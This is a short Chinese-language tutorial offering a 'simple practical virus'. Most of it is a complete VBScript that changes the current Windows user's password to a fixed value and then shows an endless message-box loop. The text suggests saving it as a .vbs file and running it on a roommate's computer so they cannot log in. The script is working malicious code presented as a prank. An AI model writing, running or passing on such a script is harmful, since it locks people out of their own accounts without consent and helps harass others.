邵帝教你写一个简单实用的病毒

首先，打开记事本，输入
Const strPassword = “sigaide”’
Dim WshNetwork
Set WshNetwork = CreateObject(“WScript.Network”)
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject(“WinNT://./”&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell”)
do
msgbox"你的电脑密码已被修改"
loop

然后保存为病毒.vbs，注意保存时选择类型为所有文件

然后打开文件（最好不要），会发现你的电脑多了一个密码，不知道密码就无法打开电脑（密码为sigaide，请务必记住！），然后就可以用这个病毒坑一下你的室友了，让他的电脑无法开机。